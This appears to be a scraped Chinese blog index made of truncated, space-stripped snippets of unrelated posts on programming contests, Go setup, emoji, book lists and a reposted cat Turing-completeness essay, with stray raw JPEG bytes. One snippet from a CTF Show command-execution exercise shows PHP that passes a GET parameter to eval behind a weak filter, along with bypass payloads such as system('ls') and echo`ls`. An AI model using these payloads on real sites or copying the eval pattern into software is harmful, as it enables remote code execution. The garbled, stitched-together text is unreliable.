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JS数据类型转换完全攻略

指路👇👇👇👇👇👇👇http://c.biancheng.net/view/5477.html

日记分类

🐳Docker🌐Kubernetes🐧Linux🐱‍💻Ansible🐷Kvm🍔Python👑Git🤓Yaml🏆C语言👻Openstack🎄Go语言

C语言回文字母金字塔

mp;li);8for(i=1;i<=li;i++)9{10f='A';11for(j=26;j>=i;j--)12printf("");13for(k=0;k<liNum;k++)14{15printf("%c",f);16++f;17}18ff=f-1;19for(k=1;k<liNum;k++)20{21--ff;22printf("%c",ff);23}24if(liNum<li)25liNum++;2627printf("\n");28}29}😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁😁�

【阿里云镜像】下载并安装Go环境

t;"formoreinformationaboutthattopic.C:\Users\xyb>输入goversion查看版本信息。C:\Users\xyb\Desktop\Go+\gop>goversiongoversiongo1.17.4windows/amd64C:\Users\xybdiy>goenvsetGO111MODULE=setGOARCH=amd64setGOBIN=setGOCACHE=C:\Users\xybdiy\AppData\Local\go-buildsetGOENV=C:\Users\xybdiy\AppData\Roaming\go\en

Educational Codeforces Round 76 (Rated for Div. 2) C. Dominated Subarray 水题

t;bits/stdc++.h>usingnamespacestd;constintmaxn=200005;intn,a[maxn],c[maxn];voidsolve(){cin>>n;intmx=9999999;for(inti=1;i<=n;i++){c[i]=0;}for(inti=1;i<=n;i++){cin>>a[i];if(c[a[i]]!=0){mx=min(i-c[a[i]]+1,mx);}c[a[i]]=i;}if(mx==9999999){cout<<"-1"<<endl;}else{cout<&

Codeforces Round #691 (Div. 1) B. Glass Half Spilled 背包DP

}dp[0][0]=0;for(inti=1;i<=n;i++){for(intj=n;j>=1;j--){for(intc=suma;c>=a[i];c--){dp[j][c]=max(dp[j][c],dp[j-1][c-a[i]]+b[i]);}}}for(intj=1;j<=n;j++){doubleans=0.0;for(intc=0;c<=suma;c++){//dp[j][c]+(sumb-dp[j][c])/2ans=max(ans,min(1.0*dp[j][c]+sumb,2.0*c));}printf("%.10f",ans/2.0);}}

TOC-Erik Dick - Fundametal of Turbomachinery

279References2828Pumps

2021-2022 ICPC, NERC, Northern Eurasia Onsite I. Interactive Treasure Hunt(交互)

ofthem.Youcanmaketwotypesofoperations:DIG𝑟r𝑐c:trytofindthetreasureinthecell(𝑟,𝑐)(r,c).Theinteractorwilltellyouifyoufoundthetreasureornot.SCAN𝑟r𝑐c:scanfromthecell(𝑟,𝑐)(r,c).TheresultofthisoperationisthesumofManhattandistancesfromthecell(𝑟,𝑐)(r,c)tothecellswherethetreasuresarehidden.Manhatta

特殊字符收集

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博客园表情符号使用

前言在使用博客园写文章时,除了文字的排版使用,还有就是表情的使用了。😘🤷‍♀️🤷‍♂️🤦‍♂️🤦‍♀️🤦‍♀️👀😊😂🤣❤😍👌😁👍🙌✌🤞😉😎🎶🎶😢💖😜👏💋🎉🌹🎂🤳🐱‍👤🐱‍🏍🐱‍💻🐱‍🐉🐱‍👓🐱‍🚀✔😃✨😆🤔🤢🎁😀😁😂🤣😄😃😅😆😉😊😋😎😍😘🥰😗😙😚☺🙂🤗🤩🤔🤨😐😑😶🙄😏😣😥😮🤐😯😪😫🥱😴😌😛😜😝🤤使用方法windows+.按住windows键加句号键即可弹出表情框。点击表情符号就行。不用区分各种排版句法。什么Markdown、Tinymce、Textbox。

金蝶中间件上的springboot传文件问题

JFIFC$.'",#(7),01444'9=82<.342C 2!!22222222222222222222222222222222222222222222222222"}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

命令执行_CTF Show

c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){eval($c);}}else{highlight_file(__FILE__);}?c=system("ls");?c=system("catfla*");//过滤了flag30<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php/i",$c)){eval($c);}}else{highlight_file(__FILE__);}?c=echo`ls`;?c

HUAWEI 数通RS

📕eNSP🛫华为HCIP认证👀

[转载] 我的猫猫图灵完备吗? 附xkcd漫画翻译一则

作者:ChloéLourseyre编辑:PeterFordham许可:CC-BY4.0原文:https://belaycpp.com/2021/11/24/is-my-cat-turing-complete/原标题:IsmycatTuring-complete?IsmycatTuring-complete?NOVEMBER24,2021CHLOÉ`SENUA`LOURSEYREThisarticleisanadaptationofaLightningTalkIgaveatCppCon2021.Alinktothevideowillbegivenhereassoonasit’savailable.I'lltouchonalightersubjectthisweek,nonethelessquiteimportant:ismycatTuring-complete?MeetPeluchePeluche(meaning“plush”inFrench)isasmoothcatthatsomehowlivesinmyhouse.Shewillbeourtestsubjecttoday.IsPelucheTuring-complete?WhatisTuring-completenessTuring-completenessisthenotionthatifadevicecanemulateaTuringmachine,thenitcanperformanykindofcomputation1.Itmeansthatanymachinethatimplementstheeightfollowinginstructionsisacomputer(andcanthusexecuteanykindofcomputation):.and,:Inputtingandoutputtingavalue+and-:Increaseanddecreasethevaluecontainedinamemorycell2.>and<:Shiftthecurrentmemorytapeleftorright.[and]:Performingloops.So,ifPeluchecanperformtheseeightinstructions,wecanconsiderherTuring-complete.ProofoftheTuring-completenessInputandoutputFirst,ItriedtopokePelucheifIcouldgetareaction.Shelookedatme,thenjustturnedaround.Sohereitis:Ipokedher,andIgotareaction.Soshecanprocessinputsandgiveoutputs.Input/outputconfirmed!IncreaseanddecreasememoryvalueTheotherday,Icamebackfromworktothis:Kibbleseverywhere;ButthenItookacloserlookandrealizedthattheslabscouldbenumbered,likethis:Thislooksprettymuchlikeamemorytapetome!Sinceshecanspillkibblesonthetilesandtheneatthemdirectlyfromthefloor,shecanincreaseanddecreasethevaluescontainedinagivenmemorycell.Increase/decreaseconfirmed!ShiftthecurrentmemorycellleftorrightAnothertime,Iwasdoingthedishesand inadvertently spilledsomewateronPeluche.Shebegantoruneverywherearoundthekitchen,makingahugemess.Ifyoulookclose(atthetipoftheredarrow),youmaynoticethatwhilemakingthismess,shedisplacedherbowl.Displacingherbowlmeansshewillspillherkibblesinanothertile.Thiscountsasshiftingthememoryheadtoeditanothermemorycell.Shiftofthememorytapeconfirmed!PerformloopsSo,afterthismess,I(obviously)hadtocleanup.Nomorethanfiveminuteslater,Iwentbacktothekitchentothis:Yeah…shecan DEFINITELY performloops…Loopsconfirmed!WehavejustproventhatPelucheis,indeed,Turing-complete.Sonow,howcanweusehertoperformhigh-performancecomputations?Whattodowithher?NowthatI’veproventhatPelucheisTuring-complete,Icanliterallydoanythingwithher!Thus,Itriedtogivehersimplecodetoexecute3:😾😾😾😾😾😾😾😾😿🐈😾🐈😾😾🐈😾😾😾🐈😾😾😾😾🐈😾😾😾😾😾🐈😾😾😾😾😾😾🐈😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾😾😾😾😾🐈😾😾😾😾😾😾😾😾😾😾😾😾😾😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐾😸🐈🐈🐈🐈🐈🐈🐈🐈🐈🙀😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🐾🐾🙀😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🐾🐾🐾🙀😾😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🐾🐾🐾🙀😾😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🙀😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🙀😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🙀😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🙀😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈😾😾🙀🐾🐾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🐾🐾🐾🙀😾😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐈🐾🐾🐾🐾🙀😾😾😾😾😻😻😻😻😻😻😻😻😻😻😻😻😻🐈🐈🐈🐈🐈🐈🐾🐾🙀😾😾😻😻😻😻😻😻🙀Theresultwasfinal:shewouldn’tdoathing.Thoughtheycan,maybecatsarenotdesignedtoexecutecodeafterall?About"cat-computing"Jokesaside, cat-computing isthenameIgivetothisgeneralizedpractice.Inmyexperience,ithappensquiteoftenthatwhensomeonediscoversanewfeatureofalanguage,theybegintouseiteverywhere,justbecausetheycanandtheywantto.However,justlikeyoucanexecutecodeusingacat4 butshouldn’t,it’snotbecauseyou can useafeaturethatyou should.Theyweretoobusywonderingiftheycouldtothinkaboutwhethertheyshould.DRIANMALCOLM,JURASSICPARKWrappingupCat-computingseemstobearookiemistake(anditis),buteventhemostexperienceddeveloperssometimesmakerookiemistakes(andthere’snoshameinthat).Everythreeyears,anewversionofC++ispublished.Everytime,itmakesmewanttousethenewfeaturesineverypossiblesituation.Thoughthisisagoodopportunitytobuildsomeexperiencearoundthat(oneofthebestwaystoavoidmisusesofafeatureistoperformthesemisusesonce,inmyopinion),thisisalsofavorablegroundforacquiringbadpractices.Alwaysaskyourselfifafeatureisnecessary5 beforeusingit,orelseyoumaydocat-computing.Also,cat-computingisanimalabuse,sodon’tdoit.Thanksforreadingandseeyounextweek!(Nocatswereharmedduringthewritingofthisarticle,butonewasgentlypoked.)Author: ChloéLourseyreEditor: PeterFordhamAddendumNotesThisisasimplifieddefinition,veryinaccuratebutaccurateenoughforthisexample.Ifyouwanttherealdefinition,gothere: Turingcompleteness–WikipediaIdidnotstateitexplicitly,butaTuringmachinehasa“memorytape”with“memorycells”onit.Themachineisalwayspointingtoamemorycell,whichisthementioned“current”memorycell.Youmaynotbeabletoreadthissampleofcode—thisisafancynewlanguageIdesignedcalled“braincat”.Actually,youcan’texecutecodeusingacat,Iknow,butit’sforthesakeofthemetaphorthatIassumeyoucan.Ofcourse,necessityoccurswhenthereisaknownbenefittothefeature.I’mnottalkingabout“absolutenecessity”butabout“practicalnecessity”.附"我证明了它是图灵完备的!"这种情形要么发生在一个人花了六个月让他的洗碗机能够运行马里奥的时候,要么就是在被包围的时候作者:xkcd许可:CreativeCommonsAttribution-NonCommercial2.5License.链接:https://xkcd.com/2556/

转载-计算机书单

计算机思维:CS50,哈佛公开课《计算机科学导论》,B站就有资源,自取~C语言《C和指针》《高质量C编程指南》《C专家编程》和《C陷阱与缺陷》有时间可以看《C程序设计语言》中国大学MOOC搜翁凯老师的《C语言程序设计》入门:提升:算法:《大话数据结构》《算法(第四版)》《算法导论》,一般人可能都会被劝退。。。不过可以看下学习C++学习C++:《C++primer》《STL源码解析》《EffectiveC++》《深度探索C++对象模型》看完上面👆四本,C++算入门了,接下来靠你自己去进阶~网络编程:《Unix网络编程》《Linux高性能服务器编程》《Linux多线程服务端编程》好好学下网络:《

关于hexo init过程中出现fail to install dependencies的解决

mERR!C:\GTK\bin\libgobject-2.0-0.dllnpmERR!C:\GTK\bin\libpangowin32-1.0-0.dllnpmERR!C:\GTK\bin\libintl-8.dllnpmERR!C:\GTK\bin\libfreetype-6.dllnpmERR!C:\GTK\bin\libpangocairo-1.0-0.dllnpmERR!C:\GTK\bin\libpng14-14.dllnpmERR!C:\GTK\bin\libcairo-2.dllnpmERR!C:\GTK\bin\libfontconfig-1.dllnpmERR!C:\GTK

RESTful 架构详解

RESTful架构详解指路👇👇👇👇👇👇👇👇https://www.runoob.com/w3cnote/restful-architecture.html

HSCTF WP ——Lun4R

。。a=input()b=input()c=input()d=input()e=input()f=input()g=input()h=input()i=input()j=input()k=input()l=input()E=input()if(b!=E):l=l-aif(b!=f):c=hb=b-ej=j+gif(e!=j):A=dc=c-8d=EE=Ab=b+hb=b-da=a+1c=c+4d=d+2#if(d!=f):if(e!=j):e=e+jl=l+1k=k-8h=h+if=f-gif(k!=4):g=g+ii=i+8a=a-ce=e-lc=c+ch=h-lif(k!=0):j=j-

任务计划

注:本博客五天一更2020.12.14P3715CF702FCF710FGym101480C2020.12.19P4632Gym101480CP6144CF575A2020.12.24P7154P7155P46322020.12.29P3233CF639FP4606CF1320ELOJ6184P3803P4721P4238P4245CF632EAT2064CF1096G2021.1.4P2664P2993P6329P2056P38092021.1.9P2408P4051P4248P31812021.1.14马上要qmks了,估计今天rwjh里的全部内容会原样搬到1.19CF986DCF755GCF623ECF773FCF553ECF848EP3784P4002P4463P4491UVA11107P4051P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P60952021.1.19真就CV了呗。。。其实并没有完全CV,换了一道题而已。。。CF226ECF755GCF623ECF773FCF553ECF848EP3784P4002P4463P4491UVA11107P4051P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P60952021.1.24CF226ECF553ECF848EP3784P4002P4463P4491UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P60952021.1.27CF553ECF848EP4002P4463P4705P5320UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P6095P71732021.2.1就nm彻底自闭了,任务计划不降反增CF553ECF848EP4002P4463P4705UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P6095P3288P4452P3163P3171P2304P2570P3199P4074UOJ435CF506DP3396CF587FCF601E2021.2.6u1s1这当中有的题都在里面躺了五六轮了就离谱CF553ECF848EP4002P4463P4705UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P6095P3288P4452P3163P3171P2304P2570P3199CF576ECF601E2021.2.11🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊CF553ECF848EP4002P4463P4705UOJ269UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P6095P3288P4452P3163P3171P2304P2570P31992021.2.18🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊CF553ECF848EP4002P4463P4705UOJ269UVA11107P2336P3649P4341P4070P5028P4081P4094P1117P3900P4770P6095P3288P4452P3163P3171P2304P2570P3199CF375CAT1982CF878DCF797FCF643FCF505ECF671DCF571DCF536DCF555EP3246CF266EAT4120CF446CP5280P7334P5138CF226EP6091P4718CF587FCF1327GCF163EP55992021.2.23🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊CF553ECF848EP4002P4463P4705UOJ269P3649P5028P4094P3900P4770P6095BZOJ4310CF204ECF700EP4022CF666ECF1063FCF653FP5353P3288P4452P3163P3171P2304P2570P3199CF643FCF671DCF571DCF536DCF555EP3246CF266EAT4120CF446CP5280P7334P5138CF981FCF917ECF700DCF605DP6371CF248E2021.2.28🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊CF553ECF848EP4002P4463P4705UOJ269P3900CF1063FCF741EP5284P5353P3288P4452P3163P3171P2304P2570P3199CF671DP3246CF446CP5280P5138CF248EP4284CF1340FCF671ECF498BCF643GCF627ECF763ECF889ECF704CCF436DCF708ECF1080E2021.3.5🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊🕊CF553ECF848EP4002P4463P4705UOJ269P5284P3288P4452P3163P3171P2304P2570P3199CF671DP3246CF248EP4284CF1340FCF671ECF498BCF627ECF763ECF889ECF704CCF436DCF708ECF1080EP3688CF573ECF1476GAT1983CF833DP3576P3596P1623AT3859CF115ECF285ECF917CCF193DCF1097GCF815CCF633H2021.3.16爽CF553ECF848EP4002P4463P4705UOJ269AT3872P3288P4452P3163P3171P2304P2570P31992021.3.25CF553ECF848EP4002P4463P4705UOJ269AT3872P3645CF671DCF671ECF613ECF804DP6619P6622~~AT2377P4679AT2045P5284P5289P43822021.3.28CF671DCF671EP4382P4384P4363P4364P4365P5643P5299P5644P5206P3822P3823P3825P3826UOJ422LOJ3399UOJ345P47692021.4.18我tm也太鸽了吧。。。P5206P4426AT3945P5360CF568CP3714P3343P5279P5210P5303P5354P3242P3759P3248P5039P4452P5332P5501P53372021.6.30我giao我都多少天没有更了……P5360CF568CP3714P5279P3242P3248P5332P4708P3285CF1396DP4243P5294CF1045AP1587P3783P5344CF1415FP5450CF983ECF1010FP4076CF1045EP3302P3206P7470P7620P5446CF613ECF652FCF1089IP52062021.8.3现在五周一更还差不多(CF568CP3714P5279P3242P3248P3285CF1394DP4243CF1415FCF1045EP3302P3206P5044CF917EP5812CF500GAT2268P6774CF1408IAT2348CF720BCF1063FCF1464FCF1473GCF1392IP4458P4217CF724EP3872P4082CF1106FP4365AT4515P4177P5295P5814P2304CF598FUOJ218

Codeforces Round #597 (Div. 2) D. Shichikuji and Power Grid 最小生成树

t;=n;i++){scanf("%d%d",&ax[i],&ay[i]);}for(inti=1;i<=n;i++){scanf("%d",&c[i]);}for(inti=1;i<=n;i++){scanf("%d",&k[i]);}for(inti=1;i<=n;i++){m[0][i]=c[i];fa[i]=i;Edge.push_back(make_pair(c[i],make_pair(0,i)));}for(inti=1;i<=n;i++){for(intj=i+1;j<=n;j++){longlongcost=1l

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